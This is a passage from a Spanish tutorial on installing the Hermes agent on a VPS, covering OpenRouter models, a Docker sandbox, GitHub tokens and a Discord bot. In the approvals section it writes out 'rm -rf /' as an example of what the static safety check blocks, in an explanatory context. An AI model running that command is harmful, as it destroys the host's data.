7.2. Carga la key en Hermes
Si no la metiste ya dentro del asistente del paso 6, puedes cargarla ahora:
hermes config set OPENROUTER_API_KEY sk-or-v1-XXXXXXXXXXXXXXXXXXXXXXXX
Hermes coloca el secreto automáticamente en
~/.hermes/.env(no enconfig.yaml). Si prefieres editar a mano:chmod 600 ~/.hermes/.envy añadeOPENROUTER_API_KEY=.... Ref: Providers (https://hermes-agent.nousresearch.com/docs/integrations/providers).
Verificación importante: confirma que de verdad quedó guardada
Compruébalo explícitamente después del wizard:
grep '^OPENROUTER_API_KEY=' ~/.hermes/.env
hermes auth list
Qué deberías ver:
-
en
~/.hermes/.env, una líneaOPENROUTER_API_KEY=sk-or-v1-... -
en
hermes auth list, una credencial deopenroutercon origenenv:OPENROUTER_API_KEY
Si no aparece en .env, vuelve a fijarla manualmente:
hermes config set OPENROUTER_API_KEY sk-or-v1-XXXXXXXXXXXXXXXXXXXXXXXX
Señal de que Hermes NO está usando tu propia key: errores
HTTP 429de OpenRouter con texto parecido aadd your own key to accumulate your rate limitsy metadatosis_byok: false. En ese caso, el asistente dejó OpenRouter seleccionado como proveedor, pero la API key no quedó persistida correctamente.
7.3. Selecciona el proveedor
Si quieres comprobar la selección actual:
hermes model
Elige openrouter y, como modelo principal, qwen/qwen3.6-plus. En el siguiente paso afinaremos el resto de roles con hermes config set.
8. Configurar varios modelos para distintas tareas
Después del Quick setup, Hermes ya tiene un modelo principal. Pero eso no significa que configure automáticamente todos los demás roles. Lo importante es entender esta separación:
-
**model**.**default**: modelo principal del chat normal. -
**delegation**: modelo para subagentes; si no lo defines, hereda el principal. -
**auxiliary**.**vision**: tareas multimodales (capturas, análisis de imágenes). -
**auxiliary**.**compression**: resúmenes de contexto cuando la conversación se compacta. -
**fallback**_**model**: modelo de respaldo si el principal falla por rate limit o caída del proveedor. -
**agent**.**reasoning**_**effort**: intensidad de razonamiento; no es otro modelo, es un ajuste del agente.
En esta guía lo vamos a dejar así, todo sobre OpenRouter:
-
Modelo principal
-
Configuración:
qwen/qwen3.6-plus -
Delegation
-
Configuración:
minimax/minimax-m2.7 -
Auxiliary vision
-
Configuración:
google/gemini-3-flash-preview -
Auxiliary compression
-
Configuración:
qwen/qwen3.6-plus -
Fallback model
-
Configuración:
minimax/minimax-m2.7 -
Reasoning effort
-
Configuración:
medium(recomendado) ohigh
Usa
mediumcomo valor por defecto. Sube ahighsolo si ves que en tareas complejas Hermes se queda corto.
8.1. Configúralo con hermes config set
No hace falta abrir el YAML a mano. Como usuario hermes, ejecuta:
hermes config set model.provider openrouter
hermes config set model.default qwen/qwen3.6-plus
hermes config set delegation.provider openrouter
hermes config set delegation.model minimax/minimax-m2.7
hermes config set auxiliary.vision.provider openrouter
hermes config set auxiliary.vision.model google/gemini-3-flash-preview
hermes config set fallback_model.provider openrouter
hermes config set fallback_model.model minimax/minimax-m2.7
hermes config set agent.reasoning_effort medium
hermes config set display.personality technical
hermes config set display.show_reasoning true
hermes config set auxiliary.compression.provider openrouter
hermes config set auxiliary.compression.model qwen/qwen3.6-plus
hermes config set timezone Europe/Madrid
hermes config set provider_routing.sort throughput
Después de cambiar modelos, reinicia el gateway para que el servicio cargue la config nueva:
sudo "$(command -v hermes)" gateway stop - system
sudo "$(command -v hermes)" gateway start - system
sudo "$(command -v hermes)" gateway status - system
Si quieres verificar el resultado completo en el fichero:
grep -n "default:\\|delegation:\\|fallback_model:\\|reasoning_effort:\\|personality:\\|show_reasoning:\\|timezone:\\|vision:\\|compression:" ~/.hermes/config.yaml
Qué está pasando en ese escenario: normalmente no es un problema de timeout ni de tu VPS. OpenRouter balancea entre varios providers y, si el upstream del modelo elegido está saturado o degradado, puede devolverte
429aunque todo lo local esté correcto. Por eso conviene tener unfallback_modelreal y, si hace falta, cambiar temporalmente el modelo principal del canal interactivo de Discord. También conviene que el modelo de compresión tenga una ventana de contexto grande. Si usas un compresor con menos contexto que el umbral de compresión del modelo principal, Hermes bajará el threshold de esa sesión para que quepa. Por eso dejamosqwen/qwen3.6-plustambién en compresión.
8.2. Comprueba cómo ha quedado
hermes config
Aquí hay un matiz importante: **hermes config** no imprime todo el YAML, sino un resumen de los valores principales. Por eso es normal que veas cosas como:
-
Modelcon el principal actual (por ejemploqwen/qwen3.6-plus) -
DisplayconPersonality: technical -
DisplayconReasoning: on -
Context Compressioncon el modelo auxiliar que hayas fijado -
Auxiliary Models (overrides)conVision
Y que, en cambio, no aparezcan explícitamente en esa pantalla resumida:
-
delegation -
fallback_model -
algunas claves internas de
agent
Otro detalle que confunde: en
hermes config, el campo**Display** → **Reasoning**se refiere a mostrar u ocultar el razonamiento en pantalla, no aagent.reasoning_effort. Son ajustes distintos: puedes teneragent.reasoning_effort: mediumconDisplay → Reasoning: onooff, según quieras ver o esconder ese razonamiento en la salida.
Para verificar la configuración completa, comprueba también el archivo real:
grep -n "default:\\|delegation:\\|fallback_model:\\|reasoning_effort:\\|personality:\\|show_reasoning:\\|vision:\\|compression:" ~/.hermes/config.yaml
En el YAML deberías tener, como mínimo, algo equivalente a esto:
model:
default: qwen/qwen3.6-plus
delegation:
provider: openrouter
model: minimax/minimax-m2.7
auxiliary:
vision:
provider: openrouter
model: google/gemini-3-flash-preview
compression:
provider: openrouter
model: qwen/qwen3.6-plus
fallback_model:
provider: openrouter
model: minimax/minimax-m2.7
agent:
reasoning_effort: medium
display:
personality: technical
show_reasoning: true
timezone: Europe/Madrid
8.3. Qué se hereda automáticamente y qué no
Esto es lo que más confunde al principio:
-
Si no configuras
delegation, los subagentes heredan el modelo principal. -
auxiliary.visionyauxiliary.compressionno heredan automáticamente el modelo principal; usan su propia resolución auxiliar. -
fallback_modelno se deduce solo: si no lo defines, no hay failover explícito. -
agent.reasoning_effortno cambia de modelo; solo ajusta cómo usa el modelo elegido.
8.4. Cambiar de modelo en caliente
Desde CLI o desde Discord más adelante:
/model openrouter:qwen/qwen3.6-plus
/model openrouter:minimax/minimax-m2.7
Úsalo para pruebas puntuales. Para que el comportamiento estable sobreviva reinicios, deja la configuración persistida con hermes config set.
9. Skills de código y backend Docker para ejecución segura
9.1. Activa el backend Docker
Esto hace que todos los comandos que Hermes ejecute (incluido git, python, npm, etc.) corran dentro de un contenedor sandbox, no directamente en el host.
Si prefieres dejarlo configurado sin tocar config.yaml a mano, ejecuta:
hermes config set terminal.backend docker
hermes config set terminal.docker_image nousresearch/hermes-agent:latest
hermes config set terminal.docker_mount_cwd_to_workspace true
hermes config set terminal.docker_volumes '["/home/hermes/projects:/workspace/projects","/home/hermes/.hermes/cache/documents:/output"]'
hermes config set terminal.docker_forward_env '["OPENROUTER_API_KEY"]'
hermes config set terminal.container_cpu 2
hermes config set terminal.container_memory 4096
hermes config set terminal.container_persistent true
hermes config set code_execution.mode project
hermes config set code_execution.timeout 300
hermes config set code_execution.max_tool_calls 50
Para listas como
docker_volumesydocker_forward_env, usa comillas simples por fuera y JSON por dentro, tal como en el ejemplo. Así Hermes lo guarda correctamente como array enconfig.yaml. De momento reenviamos soloOPENROUTER_API_KEY.GITHUB_TOKENlo añadiremos en el paso 9.2.4, cuando realmente configuremos GitHub. Endocker_forward_envno van los valores reales de los secretos, sino los nombres de las variables que Hermes debe copiar dentro del contenedor. En esta guía usamosnousresearch/hermes-agent:latestcomo imagen del sandbox porque la documentación oficial indica que ya incluye Python, Node, npm, Playwright con Chromium,ripgrepyffmpeg. Para un VPS donde Hermes va a programar, navegar y automatizar, es más práctico partir de una imagen generalista ya preparada que de una imagen más mínima. Añadimos también este mount:
/home/hermes/.hermes/cache/documents:/output
porque la documentación oficial recomienda un host-visible export mount cuando usas mensajería + backend Docker. Así, si Hermes genera un archivo dentro del contenedor, puede escribirlo en
/output/...y luego el gateway del host lo ve en/home/hermes/.hermes/cache/documents/...para enviarlo por Discord, Telegram, etc. Ojo con las expectativas: este mount es necesario, pero no convierte el flujo de adjuntos en algo perfecto cuando separas gateway en host y ejecucion en sandbox Docker. De momento es una limitacion conocida de Hermes: el puente de ficheros entre entornos sandboxed y usuarios finales todavia tiene huecos, asi que puedes encontrarte casos donde un archivo generado dentro del sandbox no salga bien por Discord/Telegram, o donde un adjunto recibido por mensajeria no quede accesible dentro de la sesion de ejecucion. Issue oficial: https://github.com/NousResearch/hermes-agent/issues/466 Dejamosterminal.container_cpu: 2yterminal.container_memory: 4096porque en este tutorial estamos usando un Hetzner CX32 (4 vCPU, 8 GB RAM). Reservar 2 vCPU y 4 GB para el sandbox Docker es un punto medio razonable: da margen suficiente paranpm,python, builds, tests y browser tools sin comerse todos los recursos del VPS ni dejar sin aire al propio Hermes, al gateway y al sistema base.
# añade/edita en ~/.hermes/config.yaml
terminal:
backend: docker
docker_image: nousresearch/hermes-agent:latest
docker_mount_cwd_to_workspace: true
docker_volumes:
- "/home/hermes/projects:/workspace/projects"
- "/home/hermes/.hermes/cache/documents:/output"
docker_forward_env:
- OPENROUTER_API_KEY
container_cpu: 2
container_memory: 4096
container_persistent: true
code_execution:
mode: project
timeout: 300
max_tool_calls: 50
Ref: Configuration → Terminal Backends (https://hermes-agent.nousresearch.com/docs/user-guide/configuration/).Si al arrancar el gateway como servicio ves una advertencia parecida a esta:
WARNING gateway.run: Docker backend is enabled for the messaging gateway but no explicit host-visible output mount …
significa que al contenedor le falta justo ese segundo mount de exportación. La forma correcta de evitarlo es dejar docker_volumes como en el ejemplo de arriba, con:
/home/hermes/.hermes/cache/documents:/output
9.2. Skills útiles para programar
Hermes ya instala un buen número de skills bundled en ~/.hermes/skills/, así que en este punto del tutorial no hace falta instalar skills adicionales para empezar. Lo más útil es saber:
-
qué skills te ha dejado ya disponibles
-
cómo inspeccionarlas
-
cómo añadir skills extra más adelante si aparece una necesidad concreta
9.2.1. Ver las skills que ya tienes
hermes skills list
Si quieres ver el catálogo oficial o buscar algo concreto:
hermes skills browse - source official
hermes skills search github
hermes skills search docker
Y si quieres inspeccionar una skill antes de usarla:
hermes skills inspect github-pr-workflow
hermes skills inspect writing-plans
9.2.2. Añadir más skills si las necesitas
Cuando detectes un workflow que Hermes no cubre bien de serie, puedes instalar skills adicionales desde el hub oficial o desde otras fuentes soportadas.
Ejemplos:
hermes skills install official/security/1password
hermes skills install openai/skills/k8s
También puedes buscar antes de instalar:
hermes skills search react - source skills-sh
hermes skills search kubernetes
La documentación oficial explica que Hermes soporta varias fuentes de skills: las official mantenidas dentro del ecosistema Hermes, skills servidas desde GitHub, skills.sh y otros hubs compatibles. Todas pasan por un escaneo de seguridad antes de instalarse.
9.2.3. Recomendación práctica para este tutorial
De momento, deja las skills como vienen y no sobrecargues el sistema con skills de terceros “por si acaso”.
La estrategia más sensata aquí es:
-
usar primero las skills bundled
-
observar qué tareas repites de verdad
-
instalar solo skills extra cuando tengas un caso claro
Así mantienes Hermes más simple, más predecible y más fácil de depurar.
9.2.4. Integrar GitHub para que Hermes vea repos, los clone y trabaje con PRs
La documentación oficial de Hermes ya trae resuelto este flujo con varias skills bundled de GitHub:
-
github-auth: autenticación GitHub para el agente -
github-repo-management: clonar, crear, forkear y gestionar repositorios -
github-pr-workflow: ciclo completo de PR -
github-code-review: revisar cambios y PRs -
github-issues: crear y gestionar issues
Lo importante aquí es entender dos cosas:
-
Hermes no necesita obligatoriamente
ghpara trabajar con GitHub. -
Si
ghestá instalado y autenticado, Hermes lo aprovecha; si no, varias de estas skills hacen fallback a**git**+ GitHub REST API vía**curl**.
Para este VPS, la ruta más simple y reproducible es usar un fine-grained personal access token de GitHub y dejarlo en ~/.hermes/.env.
Token recomendado
Crea en GitHub un fine-grained PAT limitado solo a los repositorios con los que quieres que trabaje Hermes.
Para el caso de uso de esta guía, lo razonable es dar al token, como mínimo:
Metadata: read
necesario para listar y consultar repositorios
Contents: write
necesario para empujar cambios y también para hacer merge de PRs por API
Pull requests: write
necesario para abrir, actualizar y revisar pull requests
Opcionales según lo que quieras que haga:
Issues: write
si quieres que Hermes cree, etiquete o cierre issues
Workflows: write
si quieres que toque archivos de .github/workflows/ o gestione workflows
Importante: esto es una inferencia práctica a partir de la documentación oficial de GitHub para fine-grained tokens y de cómo Hermes usa sus skills de GitHub. Si trabajas con repos privados, no abras más permisos de los necesarios.
Guárdalo en Hermes
En el VPS:
nano ~/.hermes/.env
Y añade:
GITHUB_TOKEN=github_pat_xxxxxxxxxxxxxxxxxxxx
Si usas backend Docker, reenvía también GITHUB_TOKEN
Como en esta guía estamos ejecutando Hermes con terminal.backend: docker, el contenedor necesita ver también esa variable:
hermes config set terminal.docker_forward_env '["OPENROUTER_API_KEY","GITHUB_TOKEN"]'
Qué skill usar para cada tarea
- Para comprobar autenticación:
/github-auth comprueba cómo está autenticado GitHub en esta máquina y qué método usará Hermes
- Para ver o clonar repos:
/github-repo-management clona owner/repo en /home/hermes/projects/nombre-del-repo
- Para crear ramas, commits y abrir PRs:
/github-pr-workflow en este repo crea una rama nueva, prepara los commits necesarios y abre una draft PR contra main
- Para revisar una PR ya abierta:
/github-code-review revisa la PR #123, resume riesgos y propone cambios si hace falta
- Para mergear una PR si todo está bien:
/github-pr-workflow revisa la PR #123, comprueba CI y haz squash merge si todo está en verde
Limitación importante en este tutorial
Hermes solo podrá trabajar con:
-
repositorios a los que tu token realmente tenga acceso
-
repositorios clonados dentro de rutas que el sandbox Docker vea
-
en esta guía, lo natural es clonar en:
/home/hermes/projects/
porque ese directorio está montado dentro del contenedor como:
/workspace/projects/
Así, cuando Hermes clone o modifique un repositorio, tanto el host como el sandbox verán los mismos archivos.
Verificación rápida
hermes skills list | grep github
grep '^GITHUB_TOKEN=' ~/.hermes/.env
Luego entra en Hermes y prueba algo simple:
/github-auth
o:
/github-repo-management lista mis opciones para trabajar con el repo owner/repo y dime si ya puedes operarlo desde este VPS
Referencias oficiales: Bundled Skills Catalog → GitHub (https://hermes-agent.nousresearch.com/docs/reference/skills-catalog/) Working with Skills (https://hermes-agent.nousresearch.com/docs/guides/work-with-skills) CLI → Preloading Skills / Slash Commands (https://hermes-agent.nousresearch.com/docs/user-guide/cli) Environment Variables →
GITHUB_TOKEN(https://hermes-agent.nousresearch.com/docs/reference/environment-variables)
Hazlo ahora mismo: configuración completa de GitHub
- Crea el token en GitHub
La ruta actual en GitHub es:
-
abre GitHub en el navegador
-
entra en
Settings -
entra en
Developer settings -
entra en
Personal access tokens -
elige
Fine-grained tokens -
pulsa
Generate new token
La documentación oficial de GitHub recomienda usar fine-grained personal access tokens en vez de tokens clásicos siempre que sea posible.
Para esta guía, al crear el token configura:
-
Resource owner: tu usuario o tu organización
-
Repository access:
Only select repositories -
selecciona solo los repos que quieres que Hermes pueda tocar
-
Expiration: pon una caducidad razonable, por ejemplo 30 o 90 días
En Repository permissions, marca como mínimo:
-
Metadata: Read-only -
Contents: Read and write -
Pull requests: Read and write
Si quieres que también gestione issues:
Issues: Read and write
Si quieres que toque workflows de GitHub Actions:
Workflows: Read and write
Si el repo pertenece a una organización, puede que el token quede en estado
pendinghasta que un admin lo apruebe. GitHub lo documenta así para fine-grained tokens sobre organizaciones.
- Guárdalo en Hermes
En el VPS:
nano ~/.hermes/.env
Añade esta línea:
GITHUB_TOKEN=github_pat_xxxxxxxxxxxxxxxxxxxx
- Reenvíalo también al sandbox Docker
Como Hermes en esta guía trabaja dentro de Docker, añade GITHUB_TOKEN al reenvío de variables:
hermes config set terminal.docker_forward_env '["OPENROUTER_API_KEY","GITHUB_TOKEN"]'
- Comprueba que Hermes ya lo ve
grep '^GITHUB_TOKEN=' ~/.hermes/.env
hermes skills list | grep github
Opcionalmente, si tienes gh instalado en el VPS, puedes comprobar también:
gh auth status
Si no tienes gh, no pasa nada: Hermes puede seguir operando con sus skills usando git + API REST.
- Prueba real desde Hermes
Primero entra en Hermes:
hermes
Y luego prueba una de estas órdenes:
/github-auth comprueba si ya puedes usar GitHub desde este VPS y qué método de autenticación estás detectando
`/github-repo-management dime si puedes clonar el repositorio owner/repo en /home/hermes/projects/owner-repo y qué te falta para hacerlo
Si quieres probar un clonado real:
/github-repo-management clona owner/repo en /home/hermes/projects/owner-repo
- Qué deberías poder hacer después
Si el token y el acceso al repo están bien, Hermes ya debería poder:
-
ver tus repositorios permitidos
-
clonarlos en
/home/hermes/projects/ -
crear ramas
-
hacer commits
-
abrir pull requests
-
revisar pull requests
-
mergearlas si el token y las reglas del repo lo permiten
- Si algo falla
Los fallos más típicos aquí son:
-
el token no tiene acceso al repo concreto
-
falta
Contents: write -
falta
Pull requests: write -
la organización exige aprobación del token
-
el repo tiene reglas de protección que impiden merge automático
Referencias oficiales de GitHub: Managing your personal access tokens (https://docs.github.com/en/authentication/keeping-your-account-and-data-secure/managing-your-personal-access-tokens) Permissions required for fine-grained personal access tokens (https://docs.github.com/en/rest/authentication/permissions-required-for-fine-grained-personal-access-tokens?apiVersion=latest) REST API → Merge a pull request (https://docs.github.com/en/rest/pulls/pulls?apiVersion=2026-03-10)
9.3. Aprobaciones automáticas (modo off)
Como todos los comandos se ejecutan dentro del contenedor Docker del paso 9.1, puedes apagar las aprobaciones por completo. Esto permite que Hermes trabaje 100 % desatendido desde Discord sin pedirte confirmación cuando lanza npm install, docker compose up, git push, etc.
hermes config set approvals.mode off
hermes config set security.redact_secrets true
hermes config set security.tirith_enabled true
hermes config set security.tirith_timeout 5
hermes config set security.tirith_fail_open true
Por qué es razonable hacerlo aquí:
-
El sandbox Docker (
terminal.backend: docker) aísla a Hermes del sistema base del VPS. -
Lo que sí podrá tocar son los directorios que tú montes dentro del contenedor, por ejemplo
/home/hermes/projects, así que el aislamiento es útil pero no absoluto. -
tirith_enabled: trueaplica análisis estático antes de ejecutar y bloquea patrones obviamente destructivos (p.ej.rm -rf /). -
redact_secretsenmascara.env, tokens y keys antes de enviar al LLM, así no se filtran al historial de OpenRouter. -
DISCORD_ALLOWED_USERSya restringe quién puede dar órdenes al agente. -
Hetzner hace snapshot diario (paso 3.3): si algo se rompe, restauras.
Si en algún momento prefieres volver a confirmaciones, cambia a
mode: smart(Hermes pregunta solo en lo destructivo, usando el modelo auxiliar) omode: manual(todo confirmado). Ref: Configuration → Security & Approvals (https://hermes-agent.nousresearch.com/docs/user-guide/configuration/).
9.4. Browser automation: lo dejamos para una iteración posterior
Hermes soporta navegación web y automatización de navegador, tanto con browser local como con proveedores cloud. Pero en este VPS concreto no hemos dejado el camino de navegador completamente validado y estable todavía.
En las pruebas reales de esta guía nos pasó esto:
-
el
browsertoolset sí intenta abrir páginas -
pero el navegador local cae por problemas de sandbox
-
y Hermes hace fallback a herramientas como
curlo extracción por terminal/Python
Por tanto, para que este tutorial refleje el estado real del sistema, no vamos a vender todavía “Chromium local funcionando” como parte del setup base.
Qué dejamos sí preparado:
-
la imagen Docker
nousresearch/hermes-agent:latest, que es una buena base generalista -
el espacio para trabajar más adelante con
agent-browser, CDP o un proveedor cloud -
la constatación de que el backend principal de Hermes, Discord, Docker sandbox y modelos LLM sí funcionan
Si más adelante activas un proveedor cloud como Browser Use, la regla práctica es esta:
-
para que Hermes use Browser Use, basta con definir
BROWSER_USE_API_KEY -
si además tienes variables
BROWSERBASE_*, lo importante es que no estén definidasBROWSERBASE_API_KEYniBROWSERBASE_PROJECT_ID -
variables como
BROWSER_SESSION_TIMEOUToBROWSER_INACTIVITY_TIMEOUTpueden quedarse, porque no activan Browserbase por sí solas -
por claridad, si no vas a usar Browserbase, conviene comentar también
BROWSERBASE_PROXIESyBROWSERBASE_ADVANCED_STEALTH
Qué dejamos fuera de este walkthrough base:
-
instalación y validación completa de Chromium local
-
conexión por CDP a un navegador del host
-
automatización browser end-to-end confirmada desde Discord
En otras palabras: browser automation queda como próximo paso, no como requisito para dar por buena esta instalación de Hermes en Hetzner.
10. Conectar Hermes con Discord
Sigue docs/user-guide/messaging/discord (https://hermes-agent.nousresearch.com/docs/user-guide/messaging/discord).
En este tutorial solo vamos a tocar tres apartados del portal de Discord:
-
Información general: para sacar elApplication IDy dar nombre/icono a la app -
Instalaciones: para controlar cómo invitas el bot a tu servidor -
Bot: para sacar el token, definir privacidad e intents
El resto (OAuth2, Emojis, Webhooks, Rich Presence, Testers, Verificación) no lo necesitamos para este flujo.
10.1. Crea la app y el bot
-
Entra en https://discord.com/developers/applications → New Application → nombre
Hermes Lab. -
En General Information:
-
pon nombre, icono y descripción si quieres
-
no hace falta tocar OAuth2, Interactions Endpoint URL ni nada de webhooks para Hermes por gateway
- Pestaña Bot:
-
Public Bot: OFF.
-
Requires OAuth2 Code Grant: OFF.
-
Privileged Gateway Intents:
-
❌ Presence Intent: OFF (Hermes no lo necesita para este caso).
-
✅ Message Content Intent: ON (obligatorio para que Hermes lea el texto de los mensajes normales).
-
✅ Server Members Intent: ON. La documentación oficial de Hermes lo trata como requerido para poder resolver correctamente usuarios permitidos y evitar fallos de identificación.
- Reset Token → copia el token (solo se muestra una vez).
Qué significa
**Public Bot**: si está enON, otros usuarios con permisos suficientes podrían invitar tu bot a sus propios servidores. Si quieres que esta instancia de Hermes sea solo tuya, déjalo en OFF. Incluso conPublic Bot: OFF, manténDISCORD_ALLOWED_USERSconfigurado con tu propio User ID. Eso hace que, aunque el bot esté presente en un servidor, Hermes ignore a cualquier usuario no autorizado por seguridad. Qué significa**Requires OAuth2 Code Grant**: déjalo en OFF. Ese flujo completo de OAuth2 no es necesario para el uso normal de Hermes como bot en tu servidor y solo complica la instalación. Importante con la UI actual de Discord: en la pestaña Bot ves también una gran tabla de “Permisos del bot”. Tómala como calculadora o referencia. En la práctica, si usas Discord Provided Link, los permisos que importan para la instalación se fijan en la pestaña Installation, dentro de Default Install Settings.
10.2. Genera el invite link
En la documentación oficial de Hermes hay dos caminos:
-
Option A: Installation tab → recomendado solo si
Public Bot = ON -
Option B: Manual URL → obligatorio si
Public Bot = OFF
Como en esta guía queremos el bot privado, nuestro caso es Option B: Manual URL.
-
Ve a Installation.
-
En Installation Contexts:
-
✅ Guild Install: ON
-
❌ User Install: OFF
-
Si ves Discord Provided Link, tómalo solo como referencia visual del portal, pero no lo uses: con
Public Bot = OFF, la propia documentación de Hermes indica que debes invitar el bot con una Manual URL. -
Copia tu Application ID desde General Information.
-
Construye esta URL manual:
https://discord.com/oauth2/authorize?client_id=TU_APPLICATION_ID&scope=bot+applications.commands&permissions=274878286912
Sustituye TU_APPLICATION_ID por el ID real de tu aplicación.
La doc oficial de Hermes lo dice explícitamente: “If you prefer to keep your bot private (Public Bot = OFF), you must use the Manual URL method in Step 5 instead of the Installation tab. The Discord-provided link requires Public Bot to be enabled.”
Permisos recomendados según la doc oficial de Hermes
Estos son los permisos mínimos/útiles que Hermes recomienda para Discord:
-
View Channels — ver los canales a los que tiene acceso
-
Send Messages — responder
-
Embed Links — formatear respuestas enriquecidas
-
Attach Files — enviar imágenes, audio y archivos generados
-
Read Message History — mantener contexto de conversación
-
Send Messages in Threads — responder dentro de hilos
-
Add Reactions — poner reacciones de estado (👀, ✅, ❌)
Como
DISCORD_AUTO_THREAD=trueyDISCORD_REACTIONS=trueson defaults importantes en Hermes, para esta guía recomiendo directamente el set recommended de la documentación oficial, no el mínimo. Nota práctica sobre adjuntos: aunque des el permiso Attach Files, conterminal.backend: dockerpuede haber fallos al mandar o leer archivos en Discord y Telegram porque el gateway y el sandbox no comparten exactamente la misma vista del filesystem. De momento es una limitacion conocida de Hermes en entornos sandboxed: https://github.com/NousResearch/hermes-agent/issues/466
Enteros de permisos útiles
La documentación oficial de Hermes da estos dos valores:
-
Minimal:
117760 -
Recommended:
274878286912
Para este tutorial usa Recommended:
permissions=274878286912
Abre la URL manual en tu navegador, elige tu servidor y autoriza la instalación.
Privacidad recomendada para esta guía: no dejes abierto User Install si no necesitas que el bot funcione como app instalable por usuarios individuales. Para este laboratorio, lo normal es: — usar Guild Install — invitar el bot solo a tu propio servidor — mantener
**Public Bot**: **OFF**Con eso reduces al mínimo la superficie de exposición y evitas que otros usuarios instalen o distribuyan tu bot fuera de tu entorno controlado.
10.3. Saca tu Discord User ID
Discord → Settings → Advanced → Developer Mode ON → click derecho sobre tu nombre → Copy User ID.
10.4. Configura Hermes
hermes gateway setup
En el selector de plataformas:
-
muévete con las flechas hasta
Discord -
pulsa
**Space**para marcarlo como seleccionado ([x] Discord) -
pulsa
**Enter**solo para confirmar la selección
Ojo con este detalle:
Enterno marca la plataforma, solo confirma la pantalla actual. Si pulsasEntersin haber hecho antesSpace, Hermes interpreta que no has seleccionado ninguna y muestraNo platforms selected.
Después de marcar Discord correctamente, el asistente te pedirá:
-
el bot token de Discord
-
tu Discord User ID para
DISCORD_ALLOWED_USERS -
opcionalmente, un Channel ID si quieres dejar preconfigurado un canal “home” para mensajes proactivos (
DISCORD_HOME_CHANNEL)
Si ya saliste del wizard inicial sin configurarlo, no pasa nada: vuelve al prompt y ejecuta otra vez hermes gateway setup.
Este comando se ejecuta desde tu shell del VPS, no desde dentro de una conversación interactiva de
hermes.
Bloque final recomendado para este tutorial (bot privado, un único operador, servidor propio):
`DISCORD_BOT_TOKEN=pega_aqui_el_token_real_del_bot
DISCORD_ALLOWED_USERS=pega_aqui_tu_discord_user_id
DISCORD_HOME_CHANNEL=pega_aqui_el_channel_id_donde_quieres_notificaciones
DISCORD_REQUIRE_MENTION=true
DISCORD_AUTO_THREAD=true
DISCORD_REACTIONS=true
Qué significa cada línea:
-
DISCORD_BOT_TOKEN: el token del bot sacado de la pestaña Bot -
DISCORD_ALLOWED_USERS: tuUser IDde Discord; Hermes solo responderá a esos usuarios -
DISCORD_HOME_CHANNEL: canal “home” para cron, avisos y salidas proactivas -
DISCORD_REQUIRE_MENTION=true: en canales de servidor, Hermes solo responde si lo mencionas con@ -
DISCORD_AUTO_THREAD=true: cada mención en un canal normal abre un hilo nuevo para aislar la conversación -
DISCORD_REACTIONS=true: Hermes usa reacciones emoji de estado cuando corresponde
Si todavía no tienes claro qué canal usar como
DISCORD_HOME_CHANNEL, puedes dejar esa línea fuera al principio y fijarlo después desde Discord con/sethome.
DISCORD_HOME_CHANNELes opcional. Sirve para cron, avisos y salidas proactivas. Si no lo defines ahora, puedes fijarlo después con/sethome.
10.5. Lanza el gateway
Solo después de haber configurado Discord en el paso anterior:
grep '^DISCORD_' ~/.hermes/.env
hermes gateway
grep te sirve para verificar antes de arrancar que al menos quedaron guardadas estas variables:
-
DISCORD_BOT_TOKEN -
DISCORD_ALLOWED_USERS
Si al final del asistente te pregunta:
Install the gateway as a systemd service? (runs in background, starts on boot) [Y/n]:
en un VPS lo correcto es:
-
responder
**n**dentro del asistente -
terminar el setup normal
-
y luego instalar el servicio del sistema manualmente con
sudo
Esto no contradice la recomendación de Hermes de usar systemd en un host headless. Lo que ocurre es simplemente que el wizard no puede crear un servicio de sistema desde tu sesión de usuario sin privilegios.
Matiz importante de la doc oficial: — en portátiles o máquinas de desarrollo, suele bastar el user service — en un VPS, lo apropiado es el system service / servicio de arranque Si el asistente te muestra este aviso, es normal:
> System service install requires sudo, so Hermes can't create it from this user session.
> After setup, run: sudo "$(command -v hermes)" gateway install - system - run-as-user hermes
> Then start it with: sudo "$(command -v hermes)" gateway start - system
Más abajo, en la sección 13, dejamos esto explicado con calma y con comandos de verificación.
A los pocos segundos el bot aparece online en tu servidor. Pruébalo:
@hermes-agent hola, dime tu modelo actual
Debería responder y, si miras los logs (hermes logs gateway), verás los eventos.
10.6. Nota sobre browser automation
En esta guía hemos dejado browser automation como siguiente iteración, no como parte validada del setup base. Por tanto, en esta fase céntrate en comprobar:
-
que el bot responde en Discord
-
que usa el modelo correcto
-
que el gateway arranca y se mantiene estable
Si más adelante quieres validar navegación real con navegador, agent-browser / CDP / proveedor cloud queda como ampliación posterior.
Cuando confirmes que funciona, ctrl+C: lo convertiremos en servicio en el paso 13.
11. Estructura de carpetas para proyectos
Como en esta guía vamos a usar un único Hermes para varios proyectos, nos interesa que el agente:
-
comparta memoria y aprendizajes entre sesiones
-
arranque siempre en una raíz común de trabajo
-
descubra desde ahí las carpetas de cada proyecto
La opción más simple es dejar un cwd fijo en:
-
host:
/home/hermes/projects -
contenedor Docker:
/workspace/projects
Y poner un AGENTS.md global en esa raíz para explicarle a Hermes cómo debe comportarse cuando cambias de proyecto por prompt.
mkdir -p /home/hermes/projects
Estructura recomendada por proyecto:
/home/hermes/projects/<slug-proyecto>/
├── docker-compose.yml # despliegue del prototipo
├── Dockerfile # imagen del servicio
├── src/ # código
├── tests/
├── README.md # docs auto-generadas por Hermes
├── ARTICLE.md # borrador de artículo de blog/Medium
├── CHANGELOG.md
├── .env.example
└── .hermes/ # notas del agente para futuras sesiones
├── decisions.md
└── todo.md
Configura el cwd por defecto de Hermes:
hermes config set terminal.cwd /workspace/projects
Con esto consigues:
-
en tu instalación actual de Hermes, el gateway y las sesiones parten del
cwddefinido enconfig.yaml -
en el sandbox Docker, los comandos arrancan desde
/workspace/projects
No hace falta un perfil por proyecto. La memoria, las skills y las sesiones siguen viviendo en el mismo Hermes, pero el punto de partida queda normalizado en la raíz de proyectos. Importante: en versiones actuales, Hermes avisa de que
MESSAGING_CWDen~/.hermes/.envestá deprecated. Si lo tienes puesto de pruebas anteriores, elimínalo y deja soloterminal.cwdenconfig.yaml.
11.1. Añade un AGENTS.md global en /projects
La documentación oficial de Hermes explica que AGENTS.md es uno de los archivos de contexto que el agente descubre automáticamente desde el working directory y usa para cargar instrucciones del proyecto o del workspace.
Crea uno global así:
cat > /home/hermes/projects/AGENTS.md <<'EOF'
# Workspace de proyectos
Esta carpeta contiene varios proyectos independientes.
## Regla principal
- Antes de tocar código, identifica explícitamente el proyecto activo que ha pedido el usuario.
- Si el usuario dice "trabaja en Cuentee", asume que el proyecto activo es `cuentee`.
## Estructura esperada
- Cada proyecto vive en `/workspace/projects/<slug>/` dentro del contenedor.
